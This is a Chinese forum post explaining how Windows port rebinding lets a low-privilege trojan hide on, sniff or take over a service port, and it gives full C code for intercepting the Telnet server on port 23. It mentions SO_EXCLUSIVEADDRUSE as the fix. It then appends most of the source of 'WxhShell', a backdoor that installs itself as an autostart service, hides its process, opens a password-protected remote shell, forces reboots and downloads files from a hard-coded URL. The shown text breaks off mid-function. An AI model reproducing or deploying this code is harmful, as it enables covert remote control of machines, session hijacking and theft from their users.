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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: klPc l[.w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /<GygRs  
.Emw;+>  
  saddr.sin_family = AF_INET; )5hS;u&b  
k*M1m'1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QQqWJq~  
.a$][Jny  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Jyvc(~x  
qV5ME #TJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZYg="q0x&  
BVG 3 T  
  这意味着什么?意味着可以进行如下的攻击: [~ fJ/  
vQztD _bX%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `6UW?1_Z5  
NX$$4<A1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uRJLSt9m  
 F`f#gpQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R7+k=DI  
! XA07O[@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e%"L79Of6)  
yt$V<8a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UA}k"uM  
d!!5'/tmS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  u"tv6Qp  
X=-pNwO   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |Zz3X  
.I[uXd  
  #include r%F{1.  
  #include 'H:lR1(,  
  #include Rom|Bqo;  
  #include    BB9Z?}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HnrT;!C~  
  int main() B2VUH..am  
  { #AE'arT<  
  WORD wVersionRequested; 9MVW~ V  
  DWORD ret; Ot5 $~o  
  WSADATA wsaData; W&)O i ZN  
  BOOL val; 9J*m!-hOY  
  SOCKADDR_IN saddr; P$\( Bd\76  
  SOCKADDR_IN scaddr; W%) foJ  
  int err; om|M=/^  
  SOCKET s; yjc:+Y{5'  
  SOCKET sc; ^qGH77#z  
  int caddsize; #|)GarDG  
  HANDLE mt; C^]bXIb  
  DWORD tid;   Bx;bc  
  wVersionRequested = MAKEWORD( 2, 2 ); dX` _Y  
  err = WSAStartup( wVersionRequested, &wsaData ); Qr$ uFh/y  
  if ( err != 0 ) { {V,rWg  
  printf("error!WSAStartup failed!\n"); BHqJ~2&FDW  
  return -1; EPW Iu)A  
  } b>?X8)f2e  
  saddr.sin_family = AF_INET; oljl&tuQy  
   + ,0RrD )  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G ? H`9*y  
TAIcp*)ZM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t: r   
  saddr.sin_port = htons(23); <5G*#0gw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -7>vh|3  
  { qK#\k@E  
  printf("error!socket failed!\n"); R2-OT5Ej  
  return -1; =2# C{u.  
  } "3W!p+W  
  val = TRUE; P8piXG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E:L =>}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hBO I:4u[  
  { &K|<7Efx  
  printf("error!setsockopt failed!\n"); oe# :EfT  
  return -1; 8 }nA8J  
  } rU%\ 8T0f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .^fq$7Y}7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 esWgYAc3{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pu=Q;E_f[  
32:q'   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #Q"el3P+q  
  { bw ' yX  
  ret=GetLastError();  0'%R@|  
  printf("error!bind failed!\n"); [_#9PH33  
  return -1; k5P&F  
  } Kw+?Lowp  
  listen(s,2); X2/ `EN\  
  while(1) s+$l.aIO!  
  { z{7&=$  
  caddsize = sizeof(scaddr); *4dA(N\k"  
  //接受连接请求 p (:\)HP)R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8(\Az5%  
  if(sc!=INVALID_SOCKET) n(0O'nS^  
  { rX)PN3TD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 25o + ?Y<  
  if(mt==NULL) ^D ;X  
  { N yFa2Ihd  
  printf("Thread Creat Failed!\n"); pg;agtI  
  break; ehoDWO]S  
  } TY],H=  
  } w%g@X6  
  CloseHandle(mt); bo4 :|Z  
  } ebcGdC/%>  
  closesocket(s); b Bb$0HOF  
  WSACleanup(); O sbY}*S  
  return 0; uL1e?  
  }   ]4@_KKP  
  DWORD WINAPI ClientThread(LPVOID lpParam) y}R{A6X)  
  {  +,gI|  
  SOCKET ss = (SOCKET)lpParam; b(&2/|hd  
  SOCKET sc; eh&?BP?  
  unsigned char buf[4096]; mTwz&N\  
  SOCKADDR_IN saddr; !FX;QD@"  
  long num; *}$T:kTH  
  DWORD val; jxm.x[1ki^  
  DWORD ret; (>%Ddj6_>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pJ;J>7Gt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   k*\WzBTd  
  saddr.sin_family = AF_INET; !=_:*U)-'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u I}S9  
  saddr.sin_port = htons(23); m>yk4@a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (dLt$<F  
  { c5+oP j  
  printf("error!socket failed!\n"); pej/9{*xg(  
  return -1; 'p80X^g  
  } 7%c9 nY  
  val = 100; \f}S Hh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &HNJ '  
  { 4/&Us  
  ret = GetLastError(); ><mZOTn e;  
  return -1; A|,\}9)4X[  
  } {OL*E0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z | Hl*T  
  { >k,bHGj?  
  ret = GetLastError(); #I'W[\l~+  
  return -1; `(vgBz`e[  
  } v7&e,:r2E@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |"8Az0[!  
  { lbZ,?wm  
  printf("error!socket connect failed!\n"); dE7 kd=.o  
  closesocket(sc); [rC-3sGar  
  closesocket(ss); B;r U  
  return -1; vvU;55-  
  } 9x0B9&  
  while(1) bIu '^  
  { >Vy=5)/i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b8P/9D7K?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F#Uxl%h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >eQ;\j  
  num = recv(ss,buf,4096,0); (YVl5}V  
  if(num>0) W$O^IC  
  send(sc,buf,num,0); %*wJODtB|  
  else if(num==0) " ;_bB"q*  
  break; !@{_Qt1  
  num = recv(sc,buf,4096,0); ^>gRK*,  
  if(num>0) 7Vr .&`l  
  send(ss,buf,num,0); G(~d1%(  
  else if(num==0) M=HW2xn  
  break; yv =LT~  
  } DmEmv/N=  
  closesocket(ss); {mY<R`Ee  
  closesocket(sc); s-Q-1lKV,  
  return 0 ; eS8tsI  
  } ,>A9OTSN\  
LzB)o\a  
]:(>r&'  
========================================================== GMU.Kt  
$~`a,[e<  
下边附上一个代码,,WXhSHELL =24)`Lyb  
D|/Azy.[  
========================================================== A)Wp W M  
2+M(!FHfy  
#include "stdafx.h" -l+ &Bkf  
R/R[r> 1)6  
#include <stdio.h> \[Op:^S  
#include <string.h> i;;CU9`E2q  
#include <windows.h> gV1&b (h  
#include <winsock2.h> 4- ^|e  
#include <winsvc.h> .'mmn5E  
#include <urlmon.h> $)\%i=  
X+)68  
#pragma comment (lib, "Ws2_32.lib") jhjGDF  
#pragma comment (lib, "urlmon.lib") s\_-` [B0  
\Si@t{`O  
#define MAX_USER   100 // 最大客户端连接数 tQ_;UQlX  
#define BUF_SOCK   200 // sock buffer { :xINQ=}D  
#define KEY_BUFF   255 // 输入 buffer 5\8Ig f>  
m8,P-m  
#define REBOOT     0   // 重启 Y$uXBTR`y/  
#define SHUTDOWN   1   // 关机 oe_l:Y%  
qUA&XUJ  
#define DEF_PORT   5000 // 监听端口 GzWmXm  
q{@j$fMt0  
#define REG_LEN     16   // 注册表键长度 LH@)((bi4v  
#define SVC_LEN     80   // NT服务名长度 E#JDbV1AC  
jv>l6)  
// 从dll定义API E@^`B9 ;Q7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yx"xbCc#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )28Jz6.I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); osyY+)G'sV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,LKY?=T$z  
7r 07N'  
// wxhshell配置信息 ?6+GE_VZ  
struct WSCFG { zB/$*Hd  
  int ws_port;         // 监听端口 sJg-FVe2  
  char ws_passstr[REG_LEN]; // 口令 } R!-*Wk  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8fFURk  
  char ws_regname[REG_LEN]; // 注册表键名 #qWa[kB  
  char ws_svcname[REG_LEN]; // 服务名  /s.sW l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ftq&<8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y;<^[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XmXp0b7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,u^i0uOg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zD}dvI}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H>AQlO+J  
CT+pkNC  
}; hu%rp{m^,  
cG1-.,r  
// default Wxhshell configuration oNY;z-QK  
struct WSCFG wscfg={DEF_PORT, mj=$[ y(  
    "xuhuanlingzhe", |UZPn>F~  
    1, C9`#57Pp  
    "Wxhshell", g#ubxC7t<  
    "Wxhshell", ^eQK.B(  
            "WxhShell Service", Z2~;u[0a[  
    "Wrsky Windows CmdShell Service", ,pE{N&p9  
    "Please Input Your Password: ", Zm& X $U  
  1, L^3~gZ  
  "http://www.wrsky.com/wxhshell.exe", ,u7: l  
  "Wxhshell.exe" !q=ej^(S  
    }; %myg67u  
 x9XQ  
// 消息定义模块 u'M \m7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =Y#)c]`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .9{Sr[P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !:t}8  
char *msg_ws_ext="\n\rExit."; / >c F  
char *msg_ws_end="\n\rQuit."; 8X!^ 2B}J  
char *msg_ws_boot="\n\rReboot..."; M@EML @~  
char *msg_ws_poff="\n\rShutdown..."; \&ra&3o  
char *msg_ws_down="\n\rSave to "; hE0 p> R8  
O`5PX(J1&  
char *msg_ws_err="\n\rErr!"; Sx?IpcPSm  
char *msg_ws_ok="\n\rOK!"; 1.U5gW/3L  
$Q*h+)g<  
char ExeFile[MAX_PATH]; K.4t*-<`[  
int nUser = 0; JYA$_T  
HANDLE handles[MAX_USER]; RhIRCN9  
int OsIsNt; zC #[  
^55#!/9  
SERVICE_STATUS       serviceStatus; }/q]:3M|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~c~N _b  
W- 5Z"m1I  
// 函数声明 O`1_eK~1<  
int Install(void); d|CSWcU  
int Uninstall(void); F+ qRC_C>O  
int DownloadFile(char *sURL, SOCKET wsh); 1^^<6e  
int Boot(int flag); V`qHNM/t  
void HideProc(void); iV;X``S  
int GetOsVer(void); 8gWifx #N  
int Wxhshell(SOCKET wsl); CIAHsbn.A  
void TalkWithClient(void *cs); )!J0e-T-8O  
int CmdShell(SOCKET sock); mlc0XDS%  
int StartFromService(void); tQE=c 7/M  
int StartWxhshell(LPSTR lpCmdLine); 6=A   
_]:wltPv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'z7,)Q&8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hbdq'2!Qr  
5:v"^"Sz  
// 数据结构和表定义 ':YFm  
SERVICE_TABLE_ENTRY DispatchTable[] = ]pr(hk  
{ 5<h7+ %?t9  
{wscfg.ws_svcname, NTServiceMain}, ovJwo r  
{NULL, NULL} 7.7P>U  
}; }qU(G3  
$'Z\'<k[  
// 自我安装  Xr'Y[E [  
int Install(void) AX3iB1):K  
{ }tue`">h  
  char svExeFile[MAX_PATH]; :MPWf4K2s  
  HKEY key; h^o>9s/|/H  
  strcpy(svExeFile,ExeFile); |^p7:)cy  
L5$r<t<  
// 如果是win9x系统,修改注册表设为自启动 X:Z4QqT  
if(!OsIsNt) { ^-Ob($(\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { + |(-7 "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OXc!^2 ^  
  RegCloseKey(key); d Bn/_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1}nrVn[B9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ca}T)]//  
  RegCloseKey(key); $j=c;+W  
  return 0; KqC8ozup  
    } '| (#^jAj  
  } 8U}BSM_<2  
} MNd8#01q`  
else { 2\Bt~;EIx  
ajB4 Lj,:r  
// 如果是NT以上系统,安装为系统服务 ?t<yk(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d$.t0-lC  
if (schSCManager!=0) ;s{k32e  
{ ~nO]R   
  SC_HANDLE schService = CreateService %6Wv-:LY  
  ( <j CD^  
  schSCManager, <NRW^#g<x  
  wscfg.ws_svcname, P X/{  
  wscfg.ws_svcdisp, 5WJof`M  
  SERVICE_ALL_ACCESS, +b@KS"3h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PNVYW?l  
  SERVICE_AUTO_START, anLSD/'4W  
  SERVICE_ERROR_NORMAL, b5WtL+Z  
  svExeFile, z+IHt(  
  NULL, O*% 1   
  NULL, +pDZ,c,  
  NULL, K??(>0Qr}r  
  NULL, n:QFwwQ`Q;  
  NULL ^yLiyRe\  
  ); IJX75hE0g  
  if (schService!=0) [!Uzw 2  
  { EVs.'Xg<  
  CloseServiceHandle(schService); v&}+ps_W  
  CloseServiceHandle(schSCManager); w]2tb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MPSoRA: h  
  strcat(svExeFile,wscfg.ws_svcname); vm,/?]P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _g{*;?mS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k Qm\f  
  RegCloseKey(key); N0UL1[ur  
  return 0; }?PvNK]",  
    } C|"BMam  
  } *WS'C}T  
  CloseServiceHandle(schSCManager); 4n1-@qTPF~  
} 4q%hn3\  
} o0SQJ1.a$  
#Z%?lx"Q0  
return 1; M@)^*=0H  
} [+7 Nu  
_Nze="Pt  
// 自我卸载 H|V q  
int Uninstall(void) KBVW <;C$  
{ -s ]  
  HKEY key; D)0pm?*5A  
Iv J ;9d  
if(!OsIsNt) { i,k.#Vx[m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L H>oG$a  
  RegDeleteValue(key,wscfg.ws_regname); =2sj$  
  RegCloseKey(key); JI&ik_k3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ky6.6Y<.|  
  RegDeleteValue(key,wscfg.ws_regname); Nd b_|  
  RegCloseKey(key); W PDL$y  
  return 0; /Q|guJx  
  } 4q<LNvJA  
} .)eJL  
} .nGYx  
else { ry99R|/d1  
pUTC~|j%:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V%kZ-P*  
if (schSCManager!=0) zxo0:dyw7  
{ 0iy-FV;J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kqyV UfX$3  
  if (schService!=0) )Fa6 'M  
  { C3m](%?   
  if(DeleteService(schService)!=0) { >9?BJv2  
  CloseServiceHandle(schService); y[L7=Td  
  CloseServiceHandle(schSCManager); *qh$,mp>  
  return 0; [1Os.G2  
  } 4tZnYGvqe  
  CloseServiceHandle(schService); (YOp  
  } f76bEe/B9  
  CloseServiceHandle(schSCManager); BkZmE,  
} 1m$< %t.>  
} C`)n\?:Sth  
!21#NCw  
return 1; ="M7F0k  
} gy%/zbZx  
T(n<@Ac]V  
// 从指定url下载文件 ]7#@lL;'0  
int DownloadFile(char *sURL, SOCKET wsh) \QpH~&QIS  
{ iJIDx9 )Z  
  HRESULT hr; d{~5tv- H  
char seps[]= "/"; =CCxY7)M+.  
char *token; 4^? J BpBZ  
char *file; w_*UFLMSqR  
char myURL[MAX_PATH]; !;[cm|<E  
char myFILE[MAX_PATH]; QH?}uX'x)G  
!i"Z  
strcpy(myURL,sURL); hqPpRSv'  
  token=strtok(myURL,seps); dcK7Dd->  
  while(token!=NULL) 'Fe1]B"Y  
  { s :4<wmu4=  
    file=token; hM": ?Rx  
  token=strtok(NULL,seps); W0++q=F  
  } AX {~A:B  
%`o3YR  
GetCurrentDirectory(MAX_PATH,myFILE); k1EAmA l  
strcat(myFILE, "\\"); "CS {fyJ  
strcat(myFILE, file); =f4v: j}'|  
  send(wsh,myFILE,strlen(myFILE),0); q;XO1Se  
send(wsh,"...",3,0); z j[/~ I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kX\\t.nH  
  if(hr==S_OK) jl!rCOLt4  
return 0; @D<KG  
else e-}b]\  
return 1; "cK@Yo  
%Q)3*L  
} Q@7-UIV|q  
4{[cXM8*j  
// 系统电源模块 |VY+!  
int Boot(int flag) Z(' iZ'55F  
{ M-  f)\`I  
  HANDLE hToken; 0Q2P"1>KT/  
  TOKEN_PRIVILEGES tkp; 09_L^'`  
|'C {nTX  
  if(OsIsNt) { 6?"k&O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q t!X<.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s'4S,  
    tkp.PrivilegeCount = 1; 4bT21J37  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (l|:$%[0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ywPFL/@  
if(flag==REBOOT) { OS X5S:XS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %*>ee[^L ,  
  return 0; \~3g*V  
} jz\LI  
else { yNw YP%"y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K):MT[/"  
  return 0; SBj9sFZ  
} U\_-GS;1  
  } =h`yc$ A(2  
  else { $m.e}`7SF!  
if(flag==REBOOT) { c<'Pt4LY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z+zx*(X  
  return 0; >bKN$,Qen  
} Cg~GlZk}  
else { Anpx%NVo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {}vB# !  
  return 0; r9x.c7=O  
} :3,aR\  
} 0a#2 Lo  
]cz*k/*0  
return 1; fvW7a8k3  
} gtcU'4~  
l'_P]@*  
// win9x进程隐藏模块 Lyx \s;  
void HideProc(void) FfDe&/,/  
{ *AO^oBeY  
sCX 8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rA/jNX@S  
  if ( hKernel != NULL ) |@}Yady@C  
  { Ha U6`IP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ur'a{BI2R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '>GZB  
    FreeLibrary(hKernel); L_>j SP  
  } XQ+KI:g2  
.?gpI Zv  
return; ' (JSU   
} MjO.s+I  
rtl|zCst  
// 获取操作系统版本 W!$aK)]4u  
int GetOsVer(void) tMWDKatb  
{ \6UK:'5{  
  OSVERSIONINFO winfo; l8"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NH?q/4=I0W  
  GetVersionEx(&winfo); ?a8 o.&`l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kr$ w"]  
  return 1; CM; r\,o  
  else tgu}^TfKkg  
  return 0; KL2#Bm_  
} 6K/j,e>L  
_uvRC+~R  
// 客户端句柄模块 hf2Q;n&V  
int Wxhshell(SOCKET wsl) vJX3fE }F  
{ D ^ mfWJS  
  SOCKET wsh; *x^W`i   
  struct sockaddr_in client; HG(J+ocn   
  DWORD myID; 7XE |5G  
&_q&TEi  
  while(nUser<MAX_USER) g~5$X{  
{ 93z oJiLRf  
  int nSize=sizeof(client); =WaZy>n}7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hpftVEB  
  if(wsh==INVALID_SOCKET) return 1; N :#"4e  
u$7o d$&S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =.@{ uu;  
if(handles[nUser]==0) Ppw0vaJ^  
  closesocket(wsh); _m;#+`E  
else Vb0((c%&  
  nUser++; gbP]!d:I  
  } :G&tM   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l{:7*U{d  
uG1)cm B}  
  return 0; YlI/~J  
} YT)jBS~&  
O|t@p=]  
// 关闭 socket j@jaFsX |  
void CloseIt(SOCKET wsh) S>W_p~ @  
{ Z.a`S~U  
closesocket(wsh); A}(&At%n4  
nUser--; /D]?+<h1  
ExitThread(0); _]SV@q^  
} |hsg= LX  
[.M<h^xrB  
// 客户端请求句柄 ?a ~59!u  
void TalkWithClient(void *cs) W^}fAcQKH  
{ aCu 8 D!  
\2q!2XWgK  
  SOCKET wsh=(SOCKET)cs; ^Ge3"^x1  
  char pwd[SVC_LEN]; -)biSU,  
  char cmd[KEY_BUFF]; 3$fzqFo  
char chr[1]; 6#sd"JvtQ  
int i,j; Zt3"4d4  
Fa}3UVm  
  while (nUser < MAX_USER) { M2UF3xD   
jf_xm=n  
if(wscfg.ws_passstr) {  .;ptgX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0PiD<*EA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +!dWQ=W  
  //ZeroMemory(pwd,KEY_BUFF); Qh4@Nl#Ncf  
      i=0; &xK ln1z'  
  while(i<SVC_LEN) { '&?OhSeN  
D%L}vugxK  
  // 设置超时 ZPrL)']  
  fd_set FdRead; ~YQC!x  
  struct timeval TimeOut; 9i hB;m'C)  
  FD_ZERO(&FdRead); H_*;7/&  
  FD_SET(wsh,&FdRead); q*`1<9{H  
  TimeOut.tv_sec=8; T%{qwZc+mJ  
  TimeOut.tv_usec=0; #bxUI{*J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *VJT]^_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jH+ddBVA  
Up:<NHJT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W(^R-&av  
  pwd=chr[0]; E-P;3lS~  
  if(chr[0]==0xd || chr[0]==0xa) { V)[ta`9  
  pwd=0;  V6opV&  
  break; nVkPYeeT  
  } J2rw4L  
  i++; 4bV&U=  
    } tOn 6  
~RlsgtX"  
  // 如果是非法用户,关闭 socket :A+nmz!z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^FaBaDcnl  
} YNEPu:5J  
SFKfsb!C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e^;<T9Esr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $)UMRG  
/oA=6N#j  
while(1) { mmE!!J`B  
DG2CpR)S  
  ZeroMemory(cmd,KEY_BUFF); vuL;P"F4&  
g^ @9SU  
      // 自动支持客户端 telnet标准   nnP] x [  
  j=0; ^[]q/v'3m!  
  while(j<KEY_BUFF) { `:=af[n   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )Sz2D[@n  
  cmd[j]=chr[0]; }/dGC;p"  
  if(chr[0]==0xa || chr[0]==0xd) { r]GG9si  
  cmd[j]=0; ]r]=Q"/5  
  break; 2vb{PQ  
  } >_R,^iH"  
  j++; m tPmVze  
    } cV=0)'&<`_  
O+8]y4%5  
  // 下载文件 u"WqI[IV  
  if(strstr(cmd,"http://")) { 6V[ce4a%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \^l273  
  if(DownloadFile(cmd,wsh)) I_QWdxn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2)_Zz~P^f  
  else IP#w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BZ2frG\0&I  
  } 0keqtr  
  else { 28/At  
s&>U-7fx"  
    switch(cmd[0]) { %(f&).W  
  ssf.ef$  
  // 帮助 3&39M&  
  case '?': { l1<]pdLTR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dm;C @.ML  
    break; ,{tz%\, %  
  } ;|C[.0;kgv  
  // 安装 Sbf+;:D  
  case 'i': { UEm~5,>$0  
    if(Install()) -w>2!@8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; M)l7f  
    else Qyh_o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u 2)#Ml  
    break; uA`EJ )d  
    } rMV<}C ^  
  // 卸载 3Ryae/Nk  
  case 'r': { #2dd`F8  
    if(Uninstall()) UW!*=?h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lWiC$  
    else 8`I/\8;H'p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `~~.0QC  
    break; 1[? xU:;9  
    } |sG@Ku7~4  
  // 显示 wxhshell 所在路径 Bu%TTbnz_G  
  case 'p': { )/32sz]~  
    char svExeFile[MAX_PATH]; dfU z{  
    strcpy(svExeFile,"\n\r"); =_\+6\_  
      strcat(svExeFile,ExeFile); G7|CwzMg  
        send(wsh,svExeFile,strlen(svExeFile),0); :6N'%LKK  
    break; h'QEwW  
    } y<r@zb9  
  // 重启 B#zu< z  
  case 'b': { EZ  N38T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0j'H5>m"  
    if(Boot(REBOOT)) -W6r.E$mC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EWU(Al T  
    else { cx+li4v  
    closesocket(wsh); XIS.0]~  
    ExitThread(0); :)~idVlV  
    } ,_G((oS40  
    break; QTy xx  
    } /o/0 9K  
  // 关机 <'Ppu  
  case 'd': { :J 7p=sX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?PpGBm2f*  
